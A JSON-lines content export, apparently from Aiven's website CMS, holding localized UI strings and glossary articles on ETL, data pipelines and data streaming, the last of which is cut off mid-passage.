{"_createdAt":"2023-03-24T10:41:52Z","_id":"d0d6156e-6212-4efb-a564-b3f4d116ceca","_rev":"kaQ4ZWos4gq6sBfd7vCRmr","_type":"field","_updatedAt":"2023-09-22T15:52:40Z","name":"privateLinkTooltip","value":{"_type":"localeString","en":"${price}/GB based on the consumed traffic","ja":"消費トラフィックに基づいて算出（${price}/GB)"}}
{"_createdAt":"2022-11-09T11:35:48Z","_id":"d1213092-8389-4306-8c9a-66fe8c36156f","_rev":"ElrRHx5al3kb1PwLXRlmWd","_type":"field","_updatedAt":"2022-12-03T19:26:26Z","name":"kafkaConnectExport","value":{"_type":"localeString","en":"Export data as event streams","ja":"イベントストリームとしてデータをエクスポート"}}
{"__i18n_lang":"en","_createdAt":"2022-06-21T22:43:09Z","_id":"d5419ca5-096d-4b83-b591-916eca3cf7b3","_rev":"ElrRHx5al3kb1PwLXRI4Z8","_type":"field","_updatedAt":"2022-12-03T17:54:40Z","name":"readMore","value":{"_type":"localeString","en":"Read more","es":"Lee mas","ja":"詳しく見る"}}
{"_createdAt":"2023-03-29T14:29:14Z","_id":"d5c6b705-8c07-425c-a6d1-51df8df369fe","_rev":"M4dczs5irsEQMrhVZiLtNY","_type":"field","_updatedAt":"2023-03-29T14:29:14Z","name":"ctaViewAll","value":{"_type":"localeString","en":"View all articles"}}
{"_createdAt":"2023-10-26T08:10:53Z","_id":"d7a51b70-3f5e-4206-8978-7e863bcf55e7","_rev":"dWOXoeBNhMRLotF8JYyNiR","_type":"field","_updatedAt":"2023-10-26T08:10:53Z","name":"EngineerBannerDescription","value":{"_type":"localeString","en":"We invite you to explore and experience the [product](/platform) you'll shape. Enjoy a 30-days trial with $300 credits included, along with the availability of free plan. Explore the features and become our advocate in the developer community."}}
{"_createdAt":"2022-09-05T09:25:39Z","_id":"db4649a4-e274-4608-8a90-4aa3af60b489","_rev":"nB8tfE2oU2ws1pesUWNqFC","_type":"field","_updatedAt":"2022-09-05T09:27:21Z","name":"exploreMoreCases","value":{"_type":"localeString","en":"Explore more customer success stories relevant to this one or"}}
{"_createdAt":"2023-04-06T14:52:00Z","_id":"dcea7c18-82dc-45ef-b5d6-0c7eb3eb9666","_rev":"TGMOqzg55cVsXDO0aQ3SxX","_type":"field","_updatedAt":"2024-10-02T13:27:52Z","name":"byoaDesc","value":{"_type":"localeString","en":"Run Aiven services in your own cloud account to achieve lower TCO. Our self-service [BYOC](https://aiven.io/byoc) automation simplifies deployment. [Contact us](/contact) for more information. BYOC is available during general availability.","ja":"お客様のクラウドアカウントでAivenのサービスを実行することができます。詳しくは[お問合せ](/ja/contact)ください。\n\n詳細は、[BYOCドキュメント](https://aiven.io/docs/platform/concepts/byoc)（英語）をご覧いただき、お客様のニーズに合わせた形で、[Aivenのプラットフォーム](/ja/platform)を導入してください。"}}
{"_createdAt":"2022-09-29T09:02:48Z","_id":"e65beff2-c099-4538-8b3a-47b97a2b0b48","_rev":"yEepckykK41PbFrRNlQQlm","_type":"field","_updatedAt":"2022-11-11T15:10:34Z","name":"loadingPageMessage","value":{"_type":"localeString","en":"This will only take a moment","ja":"これは一瞬のことです"}}
{"_createdAt":"2023-05-22T09:20:35Z","_id":"e72c81f2-ab0a-4dd5-a46c-2f31f0e4c008","_rev":"Sutmd0597BicUlBXYJkL20","_type":"field","_updatedAt":"2023-05-22T09:20:35Z","name":"kpfCalcTitleStep3","value":{"_type":"localeString","en":"Total estimated storage","ja":"ストレージの推定総量"}}
{"_createdAt":"2024-03-11T11:14:33Z","_id":"e8554a52-aff4-471d-90fc-67a903033d8a","_rev":"3FGtLQfVRJNnLVm3pVQK3f","_type":"field","_updatedAt":"2024-03-11T11:14:33Z","name":"labelCollection","value":{"_type":"localeString","en":"Collections"}}
{"_createdAt":"2023-03-17T13:20:25Z","_id":"ed17870a-f50a-4d79-a275-fda085461f64","_rev":"xiZWRCvY8mGrbEYNJlWmFl","_type":"field","_updatedAt":"2023-03-24T14:11:52Z","name":"contactDisclaimer","value":{"_type":"localeString","en":"Data retention is only limited by storage. For information about annual discount or plan capacity beyond the listed plans, please [contact us](/contact)","ja":"データの保持は、ストレージによってのみ制限されます。年間割引や記載されているプラン以外のキャパシティについては、[お問合せ](/ja/contact)ください。"}}
{"_createdAt":"2023-09-20T14:07:34Z","_id":"f031c497-1c6e-4529-990c-a753b7f0f128","_rev":"kaQ4ZWos4gq6sBfd7u0dtX","_type":"field","_updatedAt":"2023-09-21T13:10:08Z","name":"awsTgwTooltip","value":{"_type":"localeString","en":"${price}/hour based on transit usage","ja":"トランジット利用に応じて1時間あたり${price}"}}
{"_createdAt":"2023-12-21T07:51:45Z","_id":"f66df399-29d5-4a7d-858d-da081b0001fb","_rev":"sg5cBJWkRHo7pkcz4RDNqL","_type":"field","_updatedAt":"2023-12-21T07:51:45Z","name":"pricingCalculatorText","value":{"_type":"localeString","en":"Need help? Use our [Pricing Calculator](/pricing/calculator?product={productId}) to get a recommended plan based on your unique data needs and requirements.","ja":"お困りですか。利用価格計算([Pricing Calculator](/pricing/calculator?product={productId}))ツールを使用して、お客様独自のデータニーズと要件に基づいた推奨プランを確認できます。"}}
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{"__i18n_lang":"en","_createdAt":"2024-09-02T13:07:16Z","_id":"60c404f9-17da-4f5e-bd44-a8d5e4ce7c86","_rev":"AE3hjGWNkNE6aGQMMbfEYP","_type":"glossaryArticle","_updatedAt":"2024-09-06T07:20:18Z","body":"In the dynamic landscape of data management, ETL represents a fundamental process, acting as the conduit through which raw data is extracted from a source, transformed to be useable in other datastores or applications, and loaded into a destination. In this post, we’ll focus on exploring the meaning of ETL, the challenges it represents, how different areas benefit from it and how Aiven can help you elevate your data game. \n\n## What Does ETL Stand for? (Definition)\n\nETL stands for **Extract, Transform, Load**. It is a process used in data integration to collect data from various sources, transform it into a suitable format, and load it into a target database, data lake, lakehouse, or data warehouse.  \n\n## ETL Process Explained\n\nHere's what each step of the ETL process entails:\n\n1. **Extract**: In this step, data is extracted from different sources such as databases, files, applications, APIs, web services, and more. Various techniques can be used for extraction, including full extraction (where all data is retrieved from the source), incremental extraction (only new or modified data since the last extraction is retrieved), and [real-time extraction](https://aiven.io/blog/why-you-should-think-about-moving-analytics-from-batch-to-real-time) (data is extracted continuously as it becomes available).Extracting data allows organizations to gather information from disparate sources, including transactional systems, operational databases, CRM systems, ERP systems, spreadsheets, social media platforms, and more.\n\n2. **Transform**: Once the data is extracted, it undergoes a transformation processes to make it suitable for analysis or loading into the target system. Transformations may include data cleansing (removing duplicates, correcting errors), data validation, data enrichment (adding derived data or calculated fields), data aggregation (summarizing data), and data normalization (standardizing formats and units). This phase is critical for ensuring that the data is accurate, consistent, and formatted correctly. \n\n3. **Load**: After the data is transformed, it is loaded into the target database, data warehouse, or data lake. This phase of the ETL process involves inserting the transformed data into the destination tables or files while ensuring data integrity and maintaining performance. Loading data efficiently and accurately ensures that organizations have access to up-to-date and reliable information for their business operations, analytics, and other uses.\n\n\n## Why Is ETL Important?\n\nThere are several reasons why ETL is crucial for organizations. \n\n- **Data Integration**: ETL allows organizations to integrate data from multiple sources, including databases, applications, and files, into a unified format. This enables a comprehensive view of the data across the organization.\n\n- **Data Quality**: Through the transformation phase, ETL processes cleanse and standardize data, improving its quality and consistency. This ensures that decision-makers are working with accurate and reliable information.\n\n- **Business Intelligence**: ETL plays a crucial role in supporting business intelligence and analytics initiatives. By preparing data for analysis, it enables you to derive valuable insights and make data-driven decisions.\n\n- **Operational Efficiency**: By automating the extraction, transformation, and loading of data, ETL processes streamline data management tasks, reducing manual effort and improving operational efficiency.\n\n- **Data Warehousing and Data Lakes**: ETL is essential for populating and maintaining data warehouses and data lakes, which serve as central repositories for historical and current data. These datastores contain a single source of truth for reporting, querying, and data analysis across your company.\n\n- **Regulatory Compliance**: ETL processes help your organization to comply with data privacy regulations and standards by ensuring that sensitive data is handled securely and in accordance with legal requirements.\n\n\n## ETL vs. ELT\n\nETL (Extract, Transform, Load) and ELT (Extract, Load, Transform) are both data integration processes, however, there are some differences.  \n\n1. **Sequence of Phases**:\n    - **ETL:** In ETL, data is first extracted from the source systems, then transformed according to business rules and requirements, and finally loaded into the target system (such as a data warehouse).\n    - **ELT:** Data is extracted from the source systems and loaded into the target system as-is. Transformation occurs within the target system, often using the processing power and capabilities of modern data warehouses or data lakes, and the transformed data is reloaded into the target system.\n\n2. **Approach to Data Processing**:\n    - **ETL:** ETL focuses on transforming data before loading it into the target system. This approach is suitable for scenarios where data needs to be cleansed, standardized, and aggregated before storage.\n    - **ELT:** When it comes to ELT, raw data is first loaded into the target system and then, transformations within the target system are performed. This approach leverages the scalability and processing capabilities of modern cloud-based data platforms and most often enables users to access either the original raw data or the transformed data.\n\n3. **Traditional vs. Cloud Environments**:\n    - **ETL:** ETL has been the traditional approach to data integration, especially in on-premises environments, where data transformation often requires significant computational resources and specialized infrastructure.\n    - **ELT:** ELT has gained popularity in cloud environments due to the scalability and cost-effectiveness of cloud-based data platforms. Cloud data warehouses and data lakes offer powerful processing capabilities, allowing organizations to perform complex transformations directly within the target system.\n\n4. **Flexibility and Agility**:\n    - **ETL:** ETL processes may require upfront planning and design of transformation logic before loading data into the target system, which can limit flexibility and agility in responding to changing business requirements.\n    - **ELT:** ELT processes offer greater flexibility and agility since raw data is loaded into the target system first, allowing organizations to perform transformations on-the-fly as needed, without the need for extensive preprocessing.\n\n5. **Data Availability**:\n    - **ETL:** ETL processes transform data before it is loaded into the destination. Only the transformed data is available to users and downstream applications.\n    - **ELT:** ELT processes transform data after it is loaded into the destination. Once transformed, the data is reloaded into the destination, making both the original raw data and the transformed data available to users and downstream applications. This is useful where business analysts utilize transformed data to derive insights, and data scientists utilize the raw data for their data science applications.\n\n\n## ETL \u0026 Its Challenges\n\nThere are various challenges during the ETL process. Below you can find some of them, along with potential solutions to address them effectively.\n\n\n| Challenge                         | Potential Solutions                                                                                                                                                                                                                                       |\n|-----------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| **1. Data Quality**               | Implement data validation rules and checks during extraction and transformation to ensure data integrity.\\n\\n Utilize data profiling tools to identify anomalies and inconsistencies early in the process.\\n\\n Establish data governance policies and procedures to define and enforce data quality standards. |\n| **2. Scalability**                | Utilize incremental extraction techniques rather than full extraction to limit the amount of data being extracted and perform smaller extractions more frequently for data freshness.\\n\\n Scale hardware resources vertically (increasing processing power) or horizontally (adding more nodes) to accommodate increased data volumes.\\n\\n Consider cloud-based ETL solutions that offer elastic scalability, allowing resources to be provisioned dynamically based on demand. |\n| **3. Performance**                | Optimize queries and transformations for efficiency by minimizing unnecessary operations and utilizing appropriate indexing techniques.\\n\\n Implement partitioning strategies to distribute data across multiple nodes for parallel processing.\\n\\n Consider pre-aggregation of data where applicable to reduce processing overhead.\\n\\n Implement caching mechanisms to store intermediate results and avoid redundant computations. |\n| **4. Data Security and Compliance** | Encrypt data during transmission and storage to protect it from unauthorized access.\\n\\n Implement access controls and role-based permissions to restrict access to sensitive data.\\n\\n Comply with regulatory requirements such as GDPR, HIPAA, etc., by implementing appropriate data protection measures.\\n\\n Regularly audit and monitor data access and usage to detect and prevent unauthorized activities. |\n| **5. Data Integration and Compatibility** | Standardize data formats and schemas across sources and destinations to facilitate integration.\\n\\n  Use ETL tools that support a wide range of data sources and formats to simplify data ingestion.\\n\\n Implement data mapping and transformation logic to reconcile differences in data structures between source and target systems.\\n\\n Employ data profiling and data quality tools to identify integration issues early in the process. |\n\n\n\n## Applications of ETL in Data Integration \u0026 Co.\n\n\nLet’s take a look at how ETL (Extract, Transform, Load) is applied in various domains:\n\n1. **Business Intelligence**:\nETL is crucial for business intelligence, as it extracts data from diverse sources like databases and systems, transforms it into a consistent format, cleanses and aggregates it for quality assurance, and loads it into data warehouses. This process enables organizations to derive valuable insights, track key performance indicators, and make informed decisions.\n\n2. **Data Integration**:\nIn data integration, ETL consolidates and harmonizes data from disparate sources by extracting it, transforming it for compatibility, and loading it into central repositories or data warehouses. This facilitates a unified view of data for reporting, analysis, and decision-making purposes.\n\n3. **Cloud Migration**:\nETL plays an important role in migrating data to cloud platforms by extracting it from legacy systems, transforming it for cloud compatibility, and loading it into cloud databases or data lakes. Cloud-based ETL solutions offer scalability and cost-effectiveness, facilitating seamless data migration to the cloud.\nTip: Curious about [cloud data management](https://aiven.io/blog/5-best-practices-for-cloud-database-management)? Check out our post about best practices. \n\n4. **Machine Learning (ML)**:\nWhen it comes to [machine learning](https://aiven.io/developer/machine-learning) models, ETL is essential for preparing data. This includes tasks such as extracting raw data, transforming it through cleaning and feature engineering, and loading it into ML pipelines. This way, organizations can build predictive and prescriptive analytics solutions using machine learning techniques on high quality and fresh data.\n\n## **Elevate Your Data Game: How Aiven Simplifies the ETL Process**\n\nNavigating the complexities of ETL processes requires a **robust, flexible, and scalable** solution. [Aiven](https://aiven.io/) provides an arsenal of [managed services](https://aiven.io/pricing) tailored to enhance every stage of the ETL pipeline.\n\nIn today’s fast-paced world, capturing, processing, and acting on data is critical for businesses to stay alive. ETL and ELT still play a significant role in data pipelines, but streaming has become the direction for extracting, transforming, and loading data. Organizations now need to be real-time data driven to satisfy customer expectations and stay ahead of competition. Enter the world of real-time data streaming and processing.\n\n[Managed Apache Flink](https://aiven.io/flink)**®** and [managed Apache Kafka](https://aiven.io/kafka)**®** are pivotal in modernizing ETL pipelines. While the first solution excels in transforming data with its advanced stream processing capabilities, Kafka efficiently manages high-volume data streams for extraction, transformation, and loading. Together, they offer a real-time solution for ETL, enhancing both human data analysis and decision-making processes and automatically triggering machine-driven actions.\n\nThe benefits extend beyond operational efficiency and cost savings; they pave the way for deeper insights and a competitive edge in the marketplace. For more information about streaming solutions, visit our [Aiven for Streaming](https://aiven.io/solutions/aiven-for-streaming) solutions web page.\n\n**Don't settle for mediocrity – Explore Aiven for unparalleled data agility and performance. [Get started for FREE](https://console.aiven.io/signup)!**\n\n\n## Further reading\n\n- [Why streaming data is essential to empower the ‘Modern Data Stack'](https://aiven.io/blog/our-data-stack)\n- [Digital Cloud-Native Transformation of Priceline (Case Study)](https://aiven.io/case-studies/best-deal-for-priceline)\n- [How to Build Data Analytics Pipelines Faster (Webinar)](https://aiven.io/webinar/how-to-build-data-analytics-pipelines-faster-than-your-morning-commute)","seo":{"_type":"metaData","metaDescription":"ETL Definition | Challenges of the ETL process | Applications of ETL in data integration | ETL vs ELT | Best ETL Tools | Get informed \u0026 elevate your data game!","metaTitle":"What Is ETL? (Extract, Transform, Load) | Aiven"},"slug":{"_type":"slug","current":"/glossary/what-is-etl"},"title":"What Is ETL? "}
{"__i18n_lang":"en","_createdAt":"2024-09-03T12:35:18Z","_id":"fe5570d5-3b88-4590-a24e-b0d5534503f2","_rev":"ezMiwuUkJkbYMWycAFHMCx","_type":"glossaryArticle","_updatedAt":"2024-09-09T09:14:24Z","body":"In today's data-driven world, data is created everywhere, and in order to be useful to an organization, it needs to move from its source to a destination. That’s what a data pipeline does — it moves data from a source to a destination where it can be stored, analyzed, and made available to other applications. Data pipelines are the backbone of modern [data architecture](https://aiven.io/blog/building-a-modern-data-architecture). \n\nBut what is the meaning of a data pipeline, and how can it transform the workflows of businesses and developers? Let’s find out. \n\n## **Data Pipeline Definition**\n\nAt its core, a **data pipeline moves data from point A to point B**. This involves a series of processing steps, where data is collected from various sources, processed, and then moved to a destination where it can be used for analysis, reporting, or further processing. \n\nThe advantage of data pipelines lies in their ability to **automate the flow of data** from one point to another, ensuring that data is clean, consistent, and ready for use by any downstream datastore, analytics program, or application.\n\n### **Big Data Pipeline: Tackling Volume and Velocity**\n\nWhen talking about a **big data pipeline**, we're referring to pipelines designed to handle vast quantities of data — think terabytes or petabytes — often streaming in real time. They are engineered to process and analyze data at lightning speed, enabling organizations to react swiftly to changing trends or operational needs.\n\n## **What Are the Benefits of a Data Pipeline?**\n\nThe **benefits of a data pipeline** extend far beyond simple data movement. \n\n- **Enhanced Data Quality and Consistency**: By automating the data flow, pipelines ensure that data across the organization is consistent, reliable, and free from errors or duplications. The data can then be used by anyone or any system across the organization as the single source of truth.\n- **Improved Decision-Making**: With timely access to processed and relevant data, businesses can make informed decisions quickly, gaining a competitive edge.\n- **Increased Efficiency**: Automating the data pipeline process reduces manual tasks, saving organizations time and resources while increasing productivity.\n- **Scalability**: Data pipelines can be designed in accordance with your data needs, accommodating growth without compromising performance.\n- **Flexibility**: A data pipeline can be integrated with various data sources and formats, making it easier to adapt to new technologies and data types.\n\n## **Types of Data Pipelines**\n\nThere are several **types of data pipelines**, each designed to meet different needs:\n\n **1. Batch Data Pipelines** Batch data pipelines are designed to process large volumes of data at once, typically on a predetermined schedule. These pipelines are ideal for scenarios where data does not need to be processed in real time. Batch processing can handle extensive datasets efficiently, making it suitable for data warehousing, reporting, and large-scale data movement.\n\n**1a. Full Data Set Batch**\n\nFull data set batch processing involves the complete dataset being processed at each scheduled interval. This approach is straightforward and ensures that the entire dataset is consistently processed, providing a comprehensive view of the data. However, it can be resource-intensive, particularly with very large datasets, and may result in processing delays as the system handles the entire dataset in one go. Full data set batch jobs are often performed once per day, usually during off hours like kicking off at midnight.\n\n**1b. Micro-Batch (Incremental Batch)**\n\nMicro-batch processing, also known as incremental batch processing, deals with smaller, more frequent batches of data. Instead of processing the entire dataset, only the incremental changes are processed. This approach reduces the load on the system and allows for more frequent updates, providing a balance between real-time processing and traditional batch processing. Micro-batching is beneficial for applications that require near-real-time updates, but can tolerate slight delays.\n\n**2. Streaming Data Pipelines**\n\nStreaming data pipelines are designed to process data as soon as it becomes available, providing continuous, real-time processing. These pipelines are crucial for applications that require immediate data processing and response, such as fraud detection, real-time analytics, and monitoring systems.\n\nStreaming pipelines can handle high-velocity data and provide instant insights, making them ideal for scenarios where latency needs to be minimized. They often employ technologies like Apache Kafka and Apache Flink to manage the data streams effectively.\n\n**3. Change Data Capture (CDC)**\n\nChange Data Capture (CDC) is a specialized type of data pipeline similar to streaming, but focused on tracking and transmitting only the changes made to a relational database as they happen. CDC pipelines capture insertions, updates, and deletions in real time, ensuring that the downstream systems receive the most recent data changes without the need to reprocess the entire dataset.\n\nCDC is particularly useful for keeping data warehouses, data lakes, and other data repositories synchronized with operational databases. It supports real-time analytics, data replication, and other use cases where timely and accurate data changes are critical. When data changes are captured from relational database log files, there is minimal, if any, performance impact on the database itself. There are specialized connectors available, like Debezium, for extracting CDC data and loading it directly into Apache Kafka for further disemmination and processing.\n\n![Diagram visualising change data capture including data sources, data streaming and data destinations](https://cdn.sanity.io/images/sczeoy4w/production/4e3defcb1c5d4e550f76faa2f937c1fc11f79c8c-1616x1090.png)\n\n## **Data Pipelines vs. ETL Pipelines: Understanding the Difference**\n\nWhile often used interchangeably, **data pipelines** and **ETL (Extract, Transform, Load) pipelines** have distinct differences:\n\n- **Purpose and Scope**: Data pipelines are broader in scope, designed to automate the flow of data through various processes, including but not limited to ETL. ETL pipelines are a subset of data pipelines specifically focused on extracting data from sources, transforming it, and loading it into a destination system for analysis.\n- **Flexibility and Complexity**: Data pipelines can handle a wide range of data operations beyond ETL, including real-time data processing and streaming. ETL pipelines, by contrast, are specifically designed for batch processing and transformation of data for analytics purposes.\n- **Use Cases**: ETL pipelines are typically used in data lake or data warehousing scenarios where data needs to be stored and prepared for analysis. Data pipelines have a broader range of applications, including real-time analytics, machine learning model feeding, and more.\n\nIn essence, while ETL pipelines are an essential component for data preparation in analytics, data pipelines encompass a wider array of data processing and movement tasks, offering greater flexibility to meet the diverse needs of modern data-driven organizations.\n\n## **The Data Pipeline Process**\n\nNavigating through the stages of the data pipeline process is crucial for businesses aiming to leverage their data for strategic advantage. Let’s delve deeper into each step to understand its importance and complexity.\n\n### **1. Data Collection**\n\nThe journey of data through the pipeline begins with **data collection**, a critical stage where diversity in data sources becomes apparent. \n\nFrom structured data residing in databases to unstructured data pulled from social media, cloud services, APIs, and IoT devices, the variety is vast. \n\nThis phase is foundational because the quality and breadth of collected data directly impact the insights that can be generated. Ensuring completeness, accuracy, and timely collection of data sets the stage for the subsequent processes in the pipeline.\n\n### **2. Data Processing**\n\nAfter the data is collected, it is far from ready for analysis. It often arrives raw, unstructured, and riddled with discrepancies. **Data processing** is where this raw material is refined into a **valuable resource**. This stage involves several steps:\n\n- **Cleansing**: Removing errors, duplicates, and irrelevant entries to ensure data quality.\n- **Normalization**: Standardizing formats and values to ensure consistency across the dataset.\n- **Transformation**: Converting data into a format or structure suitable for analysis, which may include complex operations like tokenization, encryption, or data masking for security purposes.\n- **Aggregation**: Summarizing detailed data for more general analysis, which is vital for handling vast volumes of data efficiently.\n\nEach of these steps requires careful consideration and application of rules and algorithms that align with the data’s end use. \n\n### **3. Data Storage**\n\nNow, the processed data needs a home where it can be easily accessed, queried, and analyzed. This is where **data storage** comes into play, with options ranging from traditional databases to modern data warehouses and data lakes, each serving different needs. \n\n**Data warehouses** are structured and ideal for storing processed data **ready for analysis**, while **data lakes** can store vast amounts of raw data in its **native format**, as well as transformed data ready for various purposes.\n\nChoosing the right storage solution is pivotal, as it affects the efficiency of data retrieval and analysis stages.\n\n### **4. Data Analysis**\n\nThe culmination of the data pipeline process is **data analysis**, where the stored data is **turned into insights**. \n\nThrough techniques ranging from statistical analysis to machine learning models, businesses can extract actionable insights about \n\n- customer behavior,\n- operational efficiency,\n- market trends, and more.\n\nThis stage is where the true value of a data pipeline is realized, as it informs business strategies, identifies areas for improvement, and can significantly enhance customer experiences.\n\n## **How Do You Create a Data Pipeline?**\n\nEach of the following steps is crucial for creating a data pipeline that efficiently and reliably meets your needs.\n\n### **1. Define Your Objectives**\n\nUnderstanding your objectives involves identifying the specific goals you aim to achieve through your data pipeline. Questions to consider include:\n\n- What kind of data will you be dealing with (customer data, transaction data, sensor data, web clickstreams, system log files, etc.)?\n- What are your end goals (real-time analytics, machine learning, reporting)?\n- Who are the end-users of the data pipeline (data scientists, business analysts, other applications)?\n\nDefining clear, measurable objectives will guide your decisions throughout the data pipeline development process, ensuring that the final product aligns with your business needs and goals.\n\n### **2. Select Your Tools and Technologies**\n\nChoosing the right set of tools and technologies is critical for the success of your data pipeline. This step involves researching and selecting the software and infrastructure that will support your pipeline’s requirements. When deciding on the right solution, ask yourself: \n\n- Can the tools handle your data volume as it grows?\n- Are the tools stable and dependable for critical operations?\n- How user-friendly are the tools? Will your team need extensive training?\n\nThis selection process might involve comparing databases, data processing frameworks, cloud infrastructure services, and any other technologies relevant to your pipeline’s needs.\n\n### **3. Design Your Pipeline Architecture**\n\nDesigning your pipeline architecture involves planning how data will **move through your system** from collection to storage and analysis. \n\nThings to consider:\n\n- Where is your data coming from, and where does it need to go?\n- Will data move in real time, or will it be in pre-scheduled batches?\n- What transformations or enrichments are required?\n\nA well-thought-out architecture not only focuses on the current needs but also anticipates **future scaling** and integration requirements.\n\n### **4. Implement Data Processing Logic**\n\nWith a clear design in place, the next step is to implement the **logic that will process your data**. This involves writing code or configuring your chosen tools to cleanse, transform, and aggregate data according to your predefined rules and requirements. \n\nThis step is where technical skills and understanding of the data come into play, as the processing logic needs to be both **efficient and accurate** to ensure the quality of the output.\n\n### **5. Test Your Pipeline**\n\nTesting is a critical phase that determines the **robustness** of your data pipeline. It involves running real data through your pipeline to identify any issues or bottlenecks. Testing should cover:\n\n- **Functionality** – Does the pipeline meet the defined objectives?\n- **Performance** – Can it handle the expected data volume and velocity?\n- **Accuracy** – Are the data transformations correct?\n\nComprehensive testing ensures that your pipeline is ready for deployment and can handle **real-world data** and scenarios.\n\n### **6. Monitor and Maintain**\n\nDeployment is not the end of the pipeline journey. Continuous monitoring is essential to ensure that the pipeline **performs as expected** over time. \n\nMonitoring involves:\n\n- **Performance -** Keeping an eye on processing times, throughput, and resource utilization,\n- **Resiliency -** Quickly identifying and addressing any issues that arise,\n- **Management -** Regularly updating the pipeline to accommodate new data sources, changes in data formats, and evolving business requirements\n\n## **Data Pipeline Examples**\n\nLet's take a look at some examples of how data pipelines are used in various areas:\n\n- **E-commerce Personalization**: An e-commerce company uses data pipelines to collect customer behavior data in real time, analyze purchasing patterns, and deliver personalized product recommendations.\n- **Financial Fraud Detection**: A bank employs a streaming data pipeline to monitor transactions across its network, applying machine learning models to detect and prevent potential fraudulent activity instantaneously.\n- **Social Media Analytics**: A social media platform utilizes a real-time data pipeline to aggregate user data, analyze engagement metrics, and optimize content delivery for enhanced user experience.\n\n## Seamless Data Pipelines: How Aiven Is Changing the Game\n\nNavigating the data landscape requires powerful tools tailored for **efficiency, scalability, and reliability**. \n\n[Aiven’s](https://aiven.io/) [managed Apache Kafka](https://aiven.io/kafka)**®** significantly enhances data pipelines for any systems or applications requiring high volumes of data with very low latencies. Streaming data pipelines with Apache Kafka offer:\n\n- **High throughput and scalability** to manage vast volumes of data from numerous devices,\n- **Real-time data processing to** ensure immediate insights and responses to fresh data,\n- **Enhanced durability and reliability** for safeguarding critical data against loss, even in the event of system failures,\n- **Decoupling of data producers and consumers** to streamline system scalability, facilitate seamless integration with a variety of data processing and storage technologies, and limit the impact radius if or when failures occur.\n\nFor more information about streaming pipelines, visit our [Aiven for Streaming](https://aiven.io/solutions/aiven-for-streaming) solutions web page.\n\nDiscover the beauty of seamless data pipelines \u0026 transform your real-time insights into action. **[Get started for FREE](https://console.aiven.io/signup)**!\n\n\n## Further Reading\n\n- [Why you should think about moving analytics from batch to real-time (Blog article)](https://aiven.io/blog/why-you-should-think-about-moving-analytics-from-batch-to-real-time)\n- [Move from batch to streaming with Apache Kafka® and Apache Flink® (Tutorial)](https://aiven.io/developer/first-streaming-sql-pipeline-with-apache-flink)\n- [Build a real-time analytics pipeline in less time than your morning bus ride (Blog article)](https://aiven.io/blog/build-a-real-time-analytics-pipeline)\n- [Secure, Segregated Multi-tenant Analytics in PostgreSQL® using Aiven for Apache Kafka®, Debezium®, and Aiven for ClickHouse® (Blog article)](https://aiven.io/blog/secureanalytics-in-postgresqlr-using-aiven-for-clickhouse)\n- [Using Kafka Connect JDBC Source: a PostgreSQL® example (Tutorial)](https://aiven.io/developer/using-kafka-connect-jdbc-source-a-postgresql-example)\n","seo":{"_type":"metaData","metaDescription":"Data pipelines explained | Data pipeline examples | Powerful tools to create data pipelines | Get informed \u0026 elevate your data game with Aiven!   ","metaTitle":"What Is a Data Pipeline (Definition \u0026 Examples) "},"slug":{"_type":"slug","current":"/glossary/what-is-a-data-pipeline"},"title":"What Is a Data Pipeline? (Definition \u0026 Examples)"}
{"__i18n_lang":"en","_createdAt":"2024-09-11T12:30:27Z","_id":"006f2921-0c82-475b-9d79-ef586ea48bd0","_rev":"qobFP6o3d5Cfo6v5hmGfg9","_type":"glossaryArticle","_updatedAt":"2024-09-18T13:12:40Z","body":"Data streaming is reshaping how we handle and process data in real time. In this post, we'll explore the fundamentals of data streaming, its key components, and the transformative impact it has across various industries. \nWhether you're a seasoned data professional or just curious about the latest technological trends, this guide will provide you with a comprehensive understanding of data streaming and its growing significance in our digital world. Are you ready to dive in?\n\n### TL;DR — If you’re in a hurry\n\n- **Streaming data** is a continuous, real-time flow of data, unlike batch ETL which involve periodic, pre-scheduled movement of data.\n- It enables immediate insights for human decision making and automatic triggers for machine actions, giving businesses a significant competitive advantage.\n- Real-world applications of data streaming range from fraud detection to personalized customer experiences.\n- Emerging trends like AI and IoT integration are set to further revolutionize data streaming capabilities.\n- **Apache Kafka**® and **Apache Flink**® are leading technologies that facilitate efficient data streaming and real-time stream processing.\n- Aiven provides managed services that simplify the complexity of streaming, making it accessible for businesses of all sizes.\n- Security and compliance are central to Aiven's data streaming services, ensuring data integrity and security.\n- Aiven's platform allows for easy integration of data streaming into existing business processes, supporting real-time analytics and [event-driven architecture](https://aiven.io/blog/introduction-to-event-driven-architecture).\n- Streaming real-time data is essential for businesses who want to satisfy customer expectations and stay ahead of the competition.\n\n![ The diagram shows how the value of data decreases over time. It highlights three decision-making processes—event-driven architectures and microservices for real-time data, near real-time analytics for slightly delayed data, and historical analytics for long-term data analysis.](https://cdn.sanity.io/images/sczeoy4w/production/3306dc1461cae869e15e9eea271d3f4ce792df92-1786x1084.png)\n\n## **What is data streaming?**\n\nData streaming is a method of **continuously processing and transferring data in real time** as it is generated. It involves the collection, processing, and analysis of data streams from various sources, such as databases, applications, systems, sensors, devices, websites, social media feeds, or online transactions. Unlike traditional batch workloads, which move data on fixed schedules, say every day or every hour, data streaming moves data immediately as it is created, allowing for real-time insights and actions.\n\nImagine data as water in a hose, continuously flowing and accessible at any point in time. This is the essence of what is streaming data—a relentless stream of information, constantly moving, as opposed to a static pool waiting for a batch job to start moving the data. It’s the difference between instant text messages on your smart phone vs. paper letters in the snail mail. This real-time flow allows for immediate insights and actions, making it the cornerstone of **dynamic business environments** where speed and agility are fundamental.\n\n### **Characteristics: What makes streaming data special**\n\nThe characteristics of streaming data go beyond mere **velocity**. Data streams are about **volume, variety**, and **veracity** as well. They demand robust handling because of their incessant volume, their varied nature coming from countless sources like sensors, users, and machines, as well as the need for the data to be accurate and timely. The real challenge comes not just in capturing this relentless flow of data but in making sense of it in real time, extracting actionable insights while the stream rushes on.\n\n### What is the difference between batch data and streaming data?\n\nBatch data and streaming data represent two fundamentally different approaches to data handling. **Batch processing** involves collecting and processing data in batches at set intervals, such as daily or hourly.  This method is suitable for scenarios where handling and making sense of the data in real time is not critical, and it excels in dealing with large volumes of data, allowing for comprehensive and complex analyses. \n\nImagine data as people at a party. Batch data is like having all your guests arrive all at once, precisely at 8:00 pm in a big group. They're pre-arranged, organized, and you can plan how to greet and entertain them. In technical terms, batch data is collected over a period of time and then moved all together at pre-configured schedules. \n\nIn contrast, **streaming data** is about handling data continuously and in real-time, as it is generated. This approach is essential for applications that require immediate data analysis and response, such as monitoring live digital interactions or real-time fraud detection. Data streaming is characterized by its ability to provide instant insights and 